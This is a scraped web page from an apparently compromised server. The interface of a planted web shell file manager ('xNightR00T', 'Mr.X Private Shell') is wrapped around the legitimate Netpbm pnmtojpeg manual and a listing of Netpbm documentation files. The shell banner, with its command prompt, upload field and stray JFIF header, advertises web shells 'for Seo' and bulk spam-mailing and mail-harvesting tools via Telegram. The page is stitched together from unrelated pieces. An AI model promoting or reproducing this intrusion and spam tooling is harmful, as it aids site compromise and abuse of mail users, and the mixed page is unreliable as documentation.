xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML><HEAD><TITLE>Pnmtojpeg User Manual</TITLE></HEAD>
<BODY>
<H1>PNMTOJPEG</H1>
Updated: 23 April 2007
<BR>
<A HREF="#index">Table Of Contents</A>

<H2>NAME</H2>
pnmtojpeg - convert PNM image to a JFIF (&quot;JPEG&quot;) image

<H2 id="synopsis">SYNOPSIS</H2>

<B>pnmtojpeg</B>
[<B>-exif=</B><I>filespec</I>]
[<B>-quality=</B><I>n</I>]
[{<B>-grayscale</B>|<B>-greyscale</B>}]
[<B>-density=</B><I>n</I><b>x</b><i>n</i>[<b>dpi</b>,<b>dpcm</b>]]
[<B>-optimize</B>|<b>-optimise</b>]
[<B>-rgb</B>]
[<B>-progressive</B>]
[<B>-comment=</B><I>text</I>]
[<B>-dct=</b>{<b>int</B>|<b>fast</b>|<b>float</b>}]
[<B>-arithmetic</b>]
[<B>-restart=</B><I>n</I>]
[<B>-smooth=</B><I>n</I>]
[<B>-maxmemory=</B><I>n</I>]
[<B>-verbose</B>]
[<B>-baseline</B>]
[<B>-qtables=</B><I>filespec</I>]
[<B>-qslots=n[,...]</B>]
[<B>-sample=</B><I>H</i><b>x</b><i>V</i>[,...]]
[<B>-scans=</B><I>filespec</I>]
[<B>-tracelevel=</b><i>N</i>]

<I>filename</I>

<p>Minimum unique abbreviation of option is acceptable.  You may use double
hyphens instead of single hyphen to denote options.  You may use white
space in place of the equals sign to separate an option name from its value.


<H2 id="description">DESCRIPTION</H2>

<p>This program is part of <a href="index.html">Netpbm</a>.

<p><B>pnmtojpeg</B> converts the named PBM, PGM, or PPM image file, or
the standard input if no file is named, to a JFIF file on the standard
output.

<P><B>pnmtojpeg</B> uses the Independent JPEG Group's JPEG library to
create the output file.  See <B><A
HREF="http://www.ijg.org">http://www.ijg.org</A> </B> for information
on the library.

<P>&quot;JFIF&quot; is the correct name for the image format commonly
known as &quot;JPEG.&quot; Strictly speaking, JPEG is a method of
compression.  The image format using JPEG compression that is by far
the most common is JFIF.  There is also a subformat of TIFF that uses
JPEG compression.

<P>EXIF is an image format that is a subformat of JFIF (to wit, a JFIF
file that contains an EXIF header as an APP1 marker).
<B>pnmtojpeg</B> creates an EXIF image when you specify the
<B>-exif</B> option.

<H2 id="options">OPTIONS</H2>

<p>The basic options are:

<DL COMPACT>
<DT><B>-exif=</B><I>filespec</I>

<DD>
This option specifies that the output image is to be EXIF (a subformat
of JFIF), i.e. it will have an EXIF header as a JFIF APP1 marker.
The contents of that marker are the contents of the specified file.
The special value <B>-</B> 
means to read the EXIF header contents from standard input.  It is
invalid to specify standard input for both the EXIF header and the
input image.
<P>
The EXIF file starts with a two byte field which is the length of
the file, including the length field, in pure binary, most significant
byte first.  The special value of zero for the length field means there
is to be no EXIF header, i.e. the same as no <B>-exif</B>
option.  This is useful for when you convert a file from JFIF to PNM
using <B>jpegtopnm</B>,
then transform it, then convert it back to JFIF with
<B>pnmtojpeg</B>, and you don't know whether or not it includes an EXIF header.
<B>jpegtopnm</B>
creates an EXIF file containing nothing but two bytes of zero when
the input JFIF file has no EXIF header.  Thus, you can transfer
any EXIF header from the input JFIF to the output JFIF without
worrying about whether an EXIF header actually exists.
<P>
The contents of the EXIF file after the length field are the exact
byte for byte contents of the APP1 marker, not counting the length
field, that constitutes the EXIF header.

<DT><B>-quality=</B><I>n</I>

<DD>Scale quantization tables to adjust image quality.  <I>n</I> is 0
(worst) to 100 (best); default is 75.  Below about 25 can produce images
some interpreters won't be able to interpret.  See below for more info.

<DT><B>-grayscale</B>
<DT><B>-greyscale</B>
<dt><b>-rgb</b>

<dd>These options determine the color space used in the JFIF output.
<b>-grayscale</b> (or <b>-greyscale</b>) means to create a gray scale
JFIF, converting from color PPM input if necessary.  <b>-rgb</b> means to
create an RGB JFIF, and the program fails if the input is not PPM.

<p>If you specify neither, The output file is in YCbCr format if the
input is PPM, and grayscale format if the input is PBM or PGM.

<p>YCbCr format (a color is represented by an intensity value and two
chrominance values) usually compresses much better than RGB (a color
is represented by one red, one green, and one blue value).  RGB is
rare.  But you may be able to convert between JFIF and PPM faster with
RGB, since it's the same color space PPM uses.

<p>The <b>testimg.ppm</b> file that comes with Netpbm is 2.3 times
larger with the <b>-rgb</b> option than with the YCbCr default, and in
one experiment <b>pnmtojpeg</b> took 16% more CPU time to convert it.
The extra CPU time probably indicates that processing of all the extra
compressed data consumed all the CPU time saved by not having to
convert the RGB inputs to YCbCr.

<P>Grayscale format takes up a lot less space and takes less time to create
and process than the color formats, even if the image contains nothing
but black, white, and gray.

<p>The <b>-rgb</b> option was added in Netpbm 10.11 in October 2002.

<dt><b>-density=</b><i>density</i>

<dd>This option determines the density (aka resolution) information
recorded in the JFIF output image.  It does not affect the raster in
any way; it just tells whoever reads the JFIF how to interpret the
raster.

<p>The density value takes the form <i>x</i><b>x</b><i>y</i> followed
by an optional unit specifier of <b>dpi</b> or <b>dpcm</b>.  Examples:
<b>1x1</b>, <b>3x2</b>, <b>300x300dpi</b>, <b>100x200dpcm</b>.  The
first number is the horizontal density; the 2nd number is the vertical
density.  Each may be any integer from 1 to 65535.  The unit specifier
is <b>dpi</b> for dots per inch or <b>dpcm</b> for dots per
centimeter.  If you don't specify the units, the density information
goes into the JFIF explicitly stating "density unspecified" (also
interpreted as "unknown").  This may seem pointless, but note that
even without specifying the units, the density numbers tell the aspect
ratio of the pixels.  E.g. <b>1x1</b> tells you the pixels are square.
<b>3x2</b> tells you the pixels are vertical rectangles.

<p>Note that if you specify different horizontal and vertical
densities, the resulting JFIF image is <em>not</em> a true
representation of the input PNM image, because <b>pnmtojpeg</b>
converts the raster pixel-for-pixel and the pixels of a PNM image are
defined to be square.  Thus, if you start with a square PNM image and
specify <b>-density=3x2</b>, the resulting JFIF image is a horizontally
squashed version of the original.  However, it is common to use an
input image which is a slight variation on PNM rather than true PNM
such that the pixels are not square.  In that case, the appropriate
-density option yields a faithful reproduction of the input pseudo-PNM
image.

<p>The default is 1x1 in unspecified units.

<p>Before Netpbm 10.15 (April 2003), this option did not exist and the
<b>pnmtojpeg</b> always created a JFIF with a density of 1x1 in
unspecified units.

<DT><B>-optimize</B>

<DD> Perform optimization of entropy encoding parameters.  Without
this, <B>pnmtojpeg</B> uses default encoding parameters.
<B>-optimize</B> usually makes the JFIF file a little smaller, but
<B>pnmtojpeg</B> runs somewhat slower and needs much more memory.
Image quality and speed of decompression are unaffected by
<B>-optimize</B>.

<DT><B>-progressive</B>

<DD>
Create a progressive JPEG file (see below).
<DT><B>-comment=</B><I>text</I>

<DD>
Include a comment marker in the JFIF output, with comment text 
<I>text</I>.

Without this option, there are no comment markers in the output.

</DL>

<P>The <B>-quality</B> option lets you trade off compressed file size
against quality of the reconstructed image: the higher the quality
setting, the larger the JFIF file, and the closer the output image
will be to the original input.  Normally you want to use the lowest
quality setting (smallest file) that decompresses into something
visually indistinguishable from the original image.  For this purpose
the quality setting should be between 50 and 95 for reasonable
results; the default of 75 is often about right.  If you see defects
at <B>-quality=75</B>, then go up 5 or 10 counts at a time until you
are happy with the output image.  (The optimal setting will vary from
one image to another.)

<p><B>-quality=100</B> generates a quantization table of all 1's,
minimizing loss in the quantization step (but there is still
information loss in subsampling, as well as roundoff error).  This
setting is mainly of interest for experimental purposes.  Quality
values above about 95 are <em>not</em> recommended for normal use; the
compressed file size goes up dramatically for hardly any gain in
output image quality.

<P>In the other direction, quality values below 50 will produce very
small files of low image quality.  Settings around 5 to 10 might be
useful in preparing an index of a large image library, for example.
Try <B>-quality=2</B> (or so) for some amusing Cubist effects.  (Note:
quality values below about 25 generate 2-byte quantization tables,
which are considered optional in the JFIF standard.  <B>pnmtojpeg</B>
emits a warning message when you give such a quality value, because
some other JFIF programs may be unable to decode the resulting file.
Use <B>-baseline</B> if you need to ensure compatibility at low
quality values.)

<P>The <B>-progressive</B> option creates a &quot;progressive
JPEG&quot; file.  In this type of JFIF file, the data is stored in
multiple scans of increasing quality.  If the file is being
transmitted over a slow communications link, the decoder can use the
first scan to display a low-quality image very quickly, and can then
improve the display with each subsequent scan.  The final image is
exactly equivalent to a standard JFIF file of the same quality
setting, and the total file size is about the same -- often a little
smaller.

<p><strong>Caution:</strong> progressive JPEG is not yet widely
implemented, so many decoders will be unable to view a progressive
JPEG file at all.

<p>If you're trying to control the quality/file size tradeoff, you
might consider the JPEG2000 format instead.  See <a
href="pamtojpeg2k.html">pamtojpeg2k</a>.

<p>Options for advanced users:
<DL COMPACT>

<DT><B>-dct=int</B>

<DD>Use integer DCT method (default).

<DT><B>-dct=fast</B>

<DD>Use fast integer DCT (less accurate).

<DT><B>-dct=float</B>

<DD>Use floating-point DCT method.  The float method is very slightly
more accurate than the int method, but is much slower unless your
machine has very fast floating-point hardware.  Also note that results
of the floating-point method may vary slightly across machines, while
the integer methods should give the same results everywhere.  The fast
integer method is much less accurate than the other two.

<DT><B>-arithmetic</b>
<dd>Use arithmetic coding.  Default is Huffman encoding.  Arithmetic coding
tends to get you a smaller result.

<p>You may need patent licenses to use this option.  According to 
<a href="http://www.faqs.org/faqs/jpeg-faq">the JPEG FAQ</a>,
This method is covered by patents owned by IBM, AT&amp;T, and Mitsubishi.

<p>The author of the FAQ recommends against using arithmetic coding (and
therefore this option) because the space savings is not great enough to
justify the legal hassles.

<p>Most JPEG libraries, including any distributed by the Independent
JPEG Group since about 1998 are not capable of arithmetic encoding.
<b>pnmtojpeg</b> uses a JPEG library (either bound to it when the
<b>pnmtojpeg</b> executable was built or accessed on your system at
run time) to do the JPEG encoding.  If <b>pnmtojpeg</b> terminates
with the message, &quot;Sorry, there are legal restrictions on
arithmetic coding&quot; or &quot;Sorry, arithmetic coding not
supported,&quot; this is the problem.
     
<DT><B>-restart=</B><I>n</I>

<DD>
Emit a JPEG restart marker every <I>n</I> MCU rows, or every <I>n</I>
MCU blocks if you append <B>B</B> to the number.  <B>-restart 0</B>
(the default) means no restart markers.

<DT><B>-smooth=</B><I>n</I>

<DD>
Smooth the input image to eliminate dithering noise.  <I>n</I>,
ranging from 1 to 100, indicates the strength of smoothing.  0 (the
default) means no smoothing.

<DT><B>-maxmemory=</B><I>n</I>

<DD>
Set a limit for amount of memory to use in processing large images.  Value is
in thousands of bytes, or millions of bytes if you append
<B>M</B> to the number.  For example, <B>-max=4m</B>
selects 4,000,000 bytes.  If <B>pnmtojpeg</B>
needs more space, it will use temporary files.

<DT><B>-verbose</B>

<DD>
Print to the Standard Error file messages about the conversion process.
This can be helpful in debugging problems.
</DL>

<P>The <B>-restart</B> option tells <B>pnmtojpeg </B> to insert extra
markers that allow a JPEG decoder to resynchronize after a
transmission error.  Without restart markers, any damage to a
compressed file will usually ruin the image from the point of the
error to the end of the image; with restart markers, the damage is
usually confined to the portion of the image up to the next restart
marker.  Of course, the restart markers occupy extra space.  We
recommend <B>-restart=1</B> for images that will be transmitted
across unreliable networks such as Usenet.

<P>The <B>-smooth</B> option filters the input to eliminate
fine-scale noise.  This is often useful when converting dithered
images to JFIF: a moderate smoothing factor of 10 to 50 gets rid of
dithering patterns in the input file, resulting in a smaller JFIF file
and a better-looking image.  Too large a smoothing factor will visibly
blur the image, however.

<P>Options for wizards:

<DL COMPACT>
<DT><B>-baseline</B>

<DD>Force baseline-compatible quantization tables to be generated.
This clamps quantization values to 8 bits even at low quality
settings.  (This switch is poorly named, since it does not ensure that
the output is actually baseline JPEG.  For example, you can use
<B>-baseline</B> and <B>-progressive</B> together.)

<DT><B>-qtables=</B><I>filespec</I>

<DD>Use the quantization tables given in the specified text file.

<DT><B>-qslots=n[,...]</B>

<DD>Select which quantization table to use for each color component.

<DT><B>-sample=</B><I>H</i><b>x</b><i>V</i>[,...]

<DD>Set JPEG sampling factors for each color component.

<DT><B>-scans=</B><I>filespec</I>

<DD>Use the scan script given in the specified text file.  See below
for information on scan scripts.

<DT><B>-tracelevel=</B><I>N</I>

<DD>This sets the level of debug tracing the program outputs as it runs.
0 means none, and is the default.  This level primarily controls tracing
of the JPEG library, and you can get some pretty interesting information
about the compression process.

</DL>

<P>The &quot;wizard&quot; options are intended for experimentation
with JPEG.  If you don't know what you are doing, <strong>don't use
them</strong>.  These switches are documented further in the file
wizard.doc that comes with the Independent JPEG Group's JPEG library.

<H2 id="examples">EXAMPLES</H2>

<P>This example compresses the PPM file foo.ppm with a quality factor
of 60 and saves the output as foo.jpg:

<pre>
    <B>pnmtojpeg -quality=60 foo.ppm &gt; foo.jpg</B>
</pre>

<p>Here's a more typical example.  It converts from BMP to JFIF:

<pre>
    <B>cat foo.bmp | bmptoppm | pnmtojpeg &gt; foo.jpg</B>
</pre>

<h2 id="loss">JPEG Loss</h2>

<p>When you compress with JPEG, you lose information -- i.e. the resulting
image has somewhat lower quality than the original.  This is a characteristic
of JPEG itself, not any particular program.  So if you do the usual 
Netpbm thing and convert from JFIF to PNM, manipulate, then convert back
to JFIF, you will lose quality.  The more you do it, the more you lose.
Drawings (charts, cartoons, line drawings, and such with few colors
and sharp edges) suffer the most.

<P>To avoid this, you can use a compressed image format other than
JPEG.  PNG and JPEG2000 are good choices, and Netpbm contains converters
for those.

<p>If you need to use JFIF on a drawing, you should experiment with
<B>pnmtojpeg</B>'s <B>-quality</B> and <B>-smooth</B> options to get a
satisfactory conversion.  <B>-smooth 10</B> or so is often helpful.

<P>Because of the loss, you should do all the manipulation you have to
do on the image in some other format and convert to JFIF as the last
step.  And if you can keep a copy in the original format, so much the
better.

The <B>-optimize</B> option to <B>pnmtojpeg</B> is worth using when
you are making a &quot;final&quot; version for posting or archiving.
It's also a win when you are using low quality settings to make very
small JFIF files; the percentage improvement is often a lot more than
it is on larger files.  (At present, <B>-optimize</B> mode is
automatically in effect when you generate a progressive JPEG file).

<p>You can do flipping and rotating transformations losslessly with
the program <b>jpegtran</b>, which is packaged with the Independent
Jpeg Group's JPEG library.  <b>jpegtran</b> exercises its intimate
knowledge of the way JPEG works to do the transformation without ever
actually decompressing the image.

<h2 id="otherprog"></h2>

<P>Another program, <B>cjpeg</B>, is similar.  <B>cjpeg</B> is
maintained by the Independent JPEG Group and packaged with the JPEG
library which <B>pnmtojpeg</B> uses for all its JPEG work.  Because of
that, you may expect it to exploit more current JPEG features.  Also,
since you have to have the library to run <B>pnmtojpeg</B>, but not
vice versa, <B>cjpeg</B> may be more commonly available.

<p>On the other hand, <B>cjpeg</B> does not use the NetPBM libraries
to process its input, as all the NetPBM tools such as <B>pnmtojpeg</B>
do.  This means it is less likely to be consistent with all the other
programs that deal with the NetPBM formats.  Also, the command syntax
of <B>pnmtojpeg</B> is consistent with that of the other Netpbm tools,
unlike <B>cjpeg</B>.

<H2 id="scanscripts">SCAN SCRIPTS</H2>

<P>Use the <B>-scan</B> option to specify a scan script.  Or use the
<B>-progressive</B> option to specify a particular built-in scan
script.

<P>Just what a scan script is, and the basic format of the scan script
file, is covered in the <B>wizard.doc</B> file that comes with the
Independent JPEG Group's JPEG library.  Scan scripts are same for
<B>pnmtojpeg</B> as the are for <B>cjpeg</B>.

<P>This section contains additional information that isn't, but
probably should be, in that document.

<P>First, there are many restrictions on what is a valid scan script.
The JPEG library, and thus <B>pnmtojpeg</B>, checks thoroughly for any
lack of compliance with these restrictions, but does little to tell
you how the script fails to comply.  The messages are very general and
sometimes untrue.

<P>
To start with, the entries for the DC coefficient must come before any
entries for the AC coefficients.  The DC coefficient is Coefficient 0;
all the other coefficients are AC coefficients.  So in an entry for
the DC coefficient, the two numbers after the colon must be 0 and 0.
In an entry for AC coefficients, the first number after the colon must
not be 0.
<P>
In a DC entry, the color components must be in increasing order.
E.g. &quot;0,2,1&quot; before the colon is wrong.  So is &quot;0,0,0&quot;.
<P>
In an entry for an AC coefficient, you must specify only one color
component.  I.e. there can be only one number before the colon.
<P>
In the first entry for a particular coefficient for a particular color
component, the &quot;Ah&quot; value must be zero, but the Al value can be any
valid bit number.  In subsequent entries, Ah must be the Al value from
the previous entry (for that coefficient for that color component),
and the Al value must be one less than the Ah value.
<P>
The script must ultimately specify at least some of the DC coefficient
for every color component.  Otherwise, you get the error message
&quot;Script does not transmit all the data.&quot;  You need not specify all of
the bits of the DC coefficient, or any of the AC coefficients.
<P>
There is a standard option in building the JPEG library to omit scan
script capability.  If for some reason your library was built with
this option, you get the message &quot;Requested feature was omitted at
compile time.&quot;

<H2 id="environment">ENVIRONMENT</H2>

<DL COMPACT>
<DT><B>JPEGMEM</B>

<DD>If this environment variable is set, its value is the default
memory limit.  The value is specified as described for the
<B>-maxmemory</B> option.  An explicit <B>-maxmemory </B> option
overrides any <B>JPEGMEM</B>.

</DL>

<H2 id="seealso">SEE ALSO</H2>

<B><A HREF="jpegtopnm.html">jpegtopnm</A></B>,
<B><A HREF="pnm.html">pnm</A></B>,
<B>cjpeg</B> man page,
<B>djpeg</b> man page,
<B>jpegtran</B> man page,
<B>rdjpgcom</B> man page,
<B>wrjpgcom</B> man page

<p>Wallace, Gregory K.  &quot;The JPEG Still Picture Compression
Standard&quot;, Communications of the ACM, April 1991 (vol. 34,
no. 4), pp. 30-44.


<H2 id="author">AUTHOR</H2>

<B>pnmtojpeg</B> and this manual were derived in large part from
<B>cjpeg</B>, by the Independent JPEG Group.  The program is otherwise
by Bryan Henderson on March 07, 2000.

<HR>
<H2 id="index">Table Of Contents</H2>
<UL>
<LI><A HREF="#synopsis">SYNOPSIS</A>
<LI><A HREF="#description">DESCRIPTION</A>
<LI><A HREF="#options">OPTIONS</A>
<LI><A HREF="#examples">EXAMPLES</A>
<LI><A HREF="#loss">JPEG LOSS</A>
<LI><A HREF="#otherprog">OTHER PROGRAMS</A>
<LI><A HREF="#scanscripts">SCAN SCRIPTS</A>
<LI><A HREF="#environment">ENVIRONMENT</A>
<LI><A HREF="#seealso">SEE ALSO</A>
<LI><A HREF="#author">AUTHOR</A>
</UL>
</BODY>
</HTML>

Filemanager

Name Type Size Permission Actions
411toppm.html File 1.76 KB 0644
anytopnm.html File 2.56 KB 0644
asciitopgm.html File 2.98 KB 0644
atktopbm.html File 945 B 0644
avstopam.html File 1.41 KB 0644
bioradtopgm.html File 1.43 KB 0644
blend1.gif File 18.25 KB 0644
blend3.gif File 21.23 KB 0644
blend4.gif File 24.56 KB 0644
blend6.gif File 21.87 KB 0644
blend7.gif File 26.28 KB 0644
bmptopnm.html File 2.16 KB 0644
bmptoppm.html File 562 B 0644
brushtopbm.html File 953 B 0644
cameratopam.html File 5.21 KB 0644
cistopbm.html File 1.36 KB 0644
cmuwmtopbm.html File 945 B 0644
ddbugtopbm.html File 3.22 KB 0644
directory.html File 34.32 KB 0644
escp2topbm.html File 2.21 KB 0644
extendedopacity.html File 6.7 KB 0644
eyuvtoppm.html File 1.1 KB 0644
faxformat.html File 3.66 KB 0644
fiascotopnm.html File 6.19 KB 0644
fitstopnm.html File 3.64 KB 0644
fstopgm.html File 1.95 KB 0644
g3topbm.html File 4.95 KB 0644
gemtopbm.html File 512 B 0644
gemtopnm.html File 1.38 KB 0644
giftopnm.html File 7.65 KB 0644
globe.jpg File 14.04 KB 0644
gobot.gif File 1.37 KB 0644
gouldtoppm.html File 911 B 0644
hdifftopam.html File 1.5 KB 0644
hipstopgm.html File 1.03 KB 0644
hpcdtoppm.html File 11.18 KB 0644
icontopbm.html File 1.2 KB 0644
ilbmtoppm.html File 3.29 KB 0644
imgtoppm.html File 1.03 KB 0644
index.html File 43.78 KB 0644
infotopam.html File 6.52 KB 0644
jbigtopnm.html File 3.91 KB 0644
jpeg2ktopam.html File 5.3 KB 0644
jpegtopnm.html File 12.51 KB 0644
leaftoppm.html File 1.1 KB 0644
liberror.html File 8.46 KB 0644
libmaketmpfile.html File 2.43 KB 0644
libmaketmpfilefd.html File 1.72 KB 0644
libnetpbm.html File 3.55 KB 0644
libnetpbm_dir.html File 9.03 KB 0644
libnetpbm_draw.html File 4.22 KB 0644
libnetpbm_image.html File 23.35 KB 0644
libnetpbm_ug.html File 11.12 KB 0644
libpbm.html File 9.43 KB 0644
libpgm.html File 7.71 KB 0644
libpm.html File 16.81 KB 0644
libpnm.html File 9.94 KB 0644
libppm.html File 26.71 KB 0644
libsystem.html File 14.36 KB 0644
libtmpfile.html File 1.71 KB 0644
libtmpfilefd.html File 1.3 KB 0644
lispmtopgm.html File 1.94 KB 0644
macptopbm.html File 1.87 KB 0644
mdatopbm.html File 1.61 KB 0644
mgrtopbm.html File 1.03 KB 0644
mrf.html File 4.3 KB 0644
mrftopbm.html File 1.54 KB 0644
mtvtoppm.html File 1.04 KB 0644
neotoppm.html File 1.18 KB 0644
palmtopnm.html File 3.54 KB 0644
pam.html File 12.22 KB 0644
pamaddnoise.html File 3.96 KB 0644
pamarith.html File 10.92 KB 0644
pambackground.html File 4.85 KB 0644
pambayer.html File 3.54 KB 0644
pamchannel.html File 2.7 KB 0644
pamcomp.html File 14.3 KB 0644
pamcut.html File 6.69 KB 0644
pamdeinterlace.html File 2.52 KB 0644
pamdepth.html File 2.47 KB 0644
pamdice.html File 4.52 KB 0644
pamditherbw.html File 6.62 KB 0644
pamedge.html File 2.24 KB 0644
pamendian.html File 2.55 KB 0644
pamenlarge.html File 3.22 KB 0644
pamexec.html File 3.15 KB 0644
pamfile.html File 2.93 KB 0644
pamfix.html File 4.7 KB 0644
pamfixtrunc.html File 1.51 KB 0644
pamflip.html File 8.43 KB 0644
pamfunc.html File 11.29 KB 0644
pamgauss.html File 3.7 KB 0644
pamgradient.html File 2.92 KB 0644
pamlookup.html File 9.54 KB 0644
pammasksharpen.html File 4.62 KB 0644
pammixinterlace.html File 3.1 KB 0644
pammosaicknit.html File 3.23 KB 0644
pamoil.html File 2.36 KB 0644
pampaintspill.html File 5.21 KB 0644
pamperspective.html File 17.28 KB 0644
pampick.html File 2.35 KB 0644
pampop9.html File 2.4 KB 0644
pamrecolor.html File 8.69 KB 0644
pamrgbatopng.html File 2.26 KB 0644
pamrubber.html File 6.43 KB 0644
pamscale.html File 25.42 KB 0644
pamseq.html File 2.77 KB 0644
pamsharpmap.html File 2.38 KB 0644
pamsharpness.html File 1.77 KB 0644
pamsistoaglyph.html File 6.65 KB 0644
pamslice.html File 4.06 KB 0644
pamsplit.html File 2.93 KB 0644
pamstack.html File 3.41 KB 0644
pamstereogram.html File 16.52 KB 0644
pamstretch-gen.html File 1.62 KB 0644
pamstretch.html File 3.72 KB 0644
pamsumm.html File 3.72 KB 0644
pamsummcol.html File 4.1 KB 0644
pamthreshold.html File 6.42 KB 0644
pamtilt.html File 4.53 KB 0644
pamtoavs.html File 1.8 KB 0644
pamtodjvurle.html File 1.78 KB 0644
pamtofits.html File 3.94 KB 0644
pamtogif.html File 13.13 KB 0644
pamtohdiff.html File 3.32 KB 0644
pamtohtmltbl.html File 2.71 KB 0644
pamtojpeg2k.html File 9.38 KB 0644
pamtompfont.html File 2.07 KB 0644
pamtooctaveimg.html File 3.21 KB 0644
pamtopam.html File 1.67 KB 0644
pamtopdbimg.html File 2.6 KB 0644
pamtopfm.html File 3.1 KB 0644
pamtopnm.html File 3.22 KB 0644
pamtosrf.html File 2.68 KB 0644
pamtosvg.html File 7.07 KB 0644
pamtotga.html File 4.42 KB 0644
pamtotiff.html File 23.6 KB 0644
pamtouil.html File 2.5 KB 0644
pamtowinicon.html File 5.02 KB 0644
pamtoxvmini.html File 1.09 KB 0644
pamundice.html File 6.94 KB 0644
pamvalidate.html File 2.19 KB 0644
pamwipeout.html File 3.08 KB 0644
pamx.html File 8.25 KB 0644
pbm.html File 6.58 KB 0644
pbmclean.html File 5.12 KB 0644
pbmlife.html File 1 KB 0644
pbmmake.html File 1.32 KB 0644
pbmmask.html File 2.89 KB 0644
pbmminkowski.html File 529 B 0644
pbmpage.html File 2.75 KB 0644
pbmpscale.html File 1.74 KB 0644
pbmreduce.html File 2.29 KB 0644
pbmtext.html File 13.69 KB 0644
pbmtextps.html File 3.46 KB 0644
pbmto10x.html File 1.37 KB 0644
pbmto4425.html File 1.75 KB 0644
pbmtoascii.html File 1.92 KB 0644
pbmtoatk.html File 934 B 0644
pbmtobbnbg.html File 1.32 KB 0644
pbmtocis.html File 1.49 KB 0644
pbmtocmuwm.html File 1.03 KB 0644
pbmtodjvurle.html File 1.18 KB 0644
pbmtoepsi.html File 3.24 KB 0644
pbmtoepson.html File 3.11 KB 0644
pbmtoescp2.html File 3.94 KB 0644
pbmtog3.html File 2.24 KB 0644
pbmtogem.html File 1.16 KB 0644
pbmtogo.html File 1.24 KB 0644
pbmtoibm23xx.html File 2.31 KB 0644
pbmtoicon.html File 1.2 KB 0644
pbmtolj.html File 3.34 KB 0644
pbmtoln03.html File 1.45 KB 0644
pbmtolps.html File 1.48 KB 0644
pbmtomacp.html File 1.81 KB 0644
pbmtomda.html File 1.75 KB 0644
pbmtomgr.html File 1.03 KB 0644
pbmtomrf.html File 1.4 KB 0644
pbmtonokia.html File 3.28 KB 0644
pbmtopgm.html File 2.47 KB 0644
pbmtopi3.html File 1.11 KB 0644
pbmtopk.html File 4.3 KB 0644
pbmtoplot.html File 1.06 KB 0644
pbmtoppa.html File 9.66 KB 0644
pbmtopsg3.html File 1.8 KB 0644
pbmtoptx.html File 1.05 KB 0644
pbmtosunicon.html File 1.02 KB 0644
pbmtowbmp.html File 1.32 KB 0644
pbmtox10bm.html File 759 B 0644
pbmtoxbm.html File 1.49 KB 0644
pbmtoybm.html File 1.13 KB 0644
pbmtozinc.html File 1.11 KB 0644
pbmupc.html File 1.91 KB 0644
pc1toppm.html File 1.13 KB 0644
pcdovtoppm.html File 2.32 KB 0644
pcxtoppm.html File 2.27 KB 0644
pdbimgtopam.html File 1.78 KB 0644
pfm.html File 3.28 KB 0644
pfmtopam.html File 1.89 KB 0644
pgm.html File 7.65 KB 0644
pgmabel.html File 3.27 KB 0644
pgmbentley.html File 1.14 KB 0644
pgmcrater.html File 7.02 KB 0644
pgmdeshadow.html File 1.89 KB 0644
pgmedge.html File 504 B 0644
pgmenhance.html File 1.53 KB 0644
pgmhist.html File 4.41 KB 0644
pgmkernel.html File 3.48 KB 0644
pgmmake.html File 1.72 KB 0644
pgmmedian.html File 3.62 KB 0644
pgmminkowski.html File 3.48 KB 0644
pgmmorphconv.html File 3.87 KB 0644
pgmnoise.html File 2 KB 0644
pgmnorm.html File 504 B 0644
pgmoil.html File 492 B 0644
pgmramp.html File 3.24 KB 0644
pgmslice.html File 478 B 0644
pgmtexture.html File 1.98 KB 0644
pgmtofs.html File 1.08 KB 0644
pgmtolispm.html File 1.81 KB 0644
pgmtopbm.html File 1.69 KB 0644
pgmtopgm.html File 1.64 KB 0644
pgmtoppm.html File 4.08 KB 0644
pi1toppm.html File 1.17 KB 0644
pi3topbm.html File 1.12 KB 0644
picttoppm.html File 5.25 KB 0644
pjtoppm.html File 1.27 KB 0644
pktopbm.html File 2.04 KB 0644
pngtopam.html File 12.06 KB 0644
pngtopnm.html File 1.87 KB 0644
pnm.html File 2.65 KB 0644
pnmalias.html File 2.81 KB 0644
pnmarith.html File 752 B 0644
pnmcat.html File 2.85 KB 0644
pnmcolormap.html File 8.08 KB 0644
pnmcomp.html File 2.05 KB 0644
pnmconvol.html File 13.66 KB 0644
pnmcrop.html File 6.18 KB 0644
pnmcut.html File 966 B 0644
pnmdepth.html File 843 B 0644
pnmfile.html File 509 B 0644
pnmflip.html File 1.06 KB 0644
pnmgamma.html File 12.02 KB 0644
pnmhisteq.html File 6.64 KB 0644
pnmhistmap.html File 5.21 KB 0644
pnmindex.html File 3.14 KB 0644
pnminterp.html File 569 B 0644
pnminvert.html File 1.27 KB 0644
pnmmargin.html File 1.77 KB 0644
pnmmercator.html File 5.44 KB 0644
pnmmontage.html File 4.65 KB 0644
pnmnlfilt.html File 7.24 KB 0644
pnmnoraw.html File 751 B 0644
pnmnorm.html File 12.08 KB 0644
pnmpad.html File 4.78 KB 0644
pnmpaste.html File 3.63 KB 0644
pnmpsnr.html File 2.1 KB 0644
pnmquant.html File 2.65 KB 0644
pnmquantall.html File 2.44 KB 0644
pnmremap.html File 10.68 KB 0644
pnmrotate.html File 4.94 KB 0644
pnmscale.html File 1.02 KB 0644
pnmscalefixed.html File 2.67 KB 0644
pnmshear.html File 3.81 KB 0644
pnmsmooth.html File 4.81 KB 0644
pnmsplit.html File 676 B 0644
pnmstitch.html File 4.03 KB 0644
pnmtile.html File 1.4 KB 0644
pnmtoddif.html File 2.26 KB 0644
pnmtofiasco.html File 10.94 KB 0644
pnmtofits.html File 495 B 0644
pnmtojbig.html File 9.61 KB 0644
pnmtojpeg.html File 21.34 KB 0644
pnmtopalm.html File 9.73 KB 0644
pnmtopclxl.html File 7.18 KB 0644
pnmtoplainpnm.html File 733 B 0644
pnmtopng.html File 18.21 KB 0644
